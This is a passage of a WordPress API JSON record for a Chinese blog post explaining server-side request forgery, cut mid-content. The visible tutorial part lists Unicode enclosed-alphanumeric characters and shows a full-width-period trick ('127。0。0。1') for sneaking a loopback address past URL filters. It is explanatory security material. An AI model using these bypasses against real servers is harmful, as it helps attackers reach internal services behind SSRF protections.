\u2493 \u2494 \u2495 \u2496 \u2497 \u2498 \u2499 \u249a \u249b \u249c \u249d \u249e \u249f \u24a0 \u24a1 \u24a2 \u24a3 \u24a4 \u24a5 \u24a6 \u24a7 \u24a8 \u24a9 \u24aa \u24ab \u24ac \u24ad \u24ae \u24af \u24b0 \u24b1 \u24b2 \u24b3 \u24b4 \u24b5 \u24b6 \u24b7 \u24b8 \u24b9 \u24ba \u24bb \u24bc \u24bd \u24be \u24bf \u24c0 \u24c1 \u24c2 \u24c3 \u24c4 \u24c5 \u24c6 \u24c7 \u24c8 \u24c9 \u24ca \u24cb \u24cc \u24cd \u24ce \u24cf \u24d0 \u24d1 \u24d2 \u24d3 \u24d4 \u24d5 \u24d6 \u24d7 \u24d8 \u24d9 \u24da \u24db \u24dc \u24dd \u24de \u24df \u24e0 \u24e1 \u24e2 \u24e3 \u24e4 \u24e5 \u24e6 \u24e7 \u24e8 \u24e9 \u24ea \u24eb \u24ec \u24ed \u24ee \u24ef \u24f0 \u24f1 \u24f2 \u24f3 \u24f4 \u24f5 \u24f6 \u24f7 \u24f8 \u24f9 \u24fa \u24fb \u24fc \u24fd \u24fe \u24ff<\/p>\n<h3>\u5229\u7528\u53e5\u53f7\u7ed5\u8fc7<\/h3>\n<pre><code>127\u30020\u30020\u30021 &gt;&gt;&gt; 127.0.0.1<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u6982\u8ff0 \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff08Server-side Request Forge\uff09\uff1a\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u5f62\u6210\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-211","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=211"}],"version-history":[{"count":7,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/211\/revisions"}],"predecessor-version":[{"id":238,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/211\/revisions\/238"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=211"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}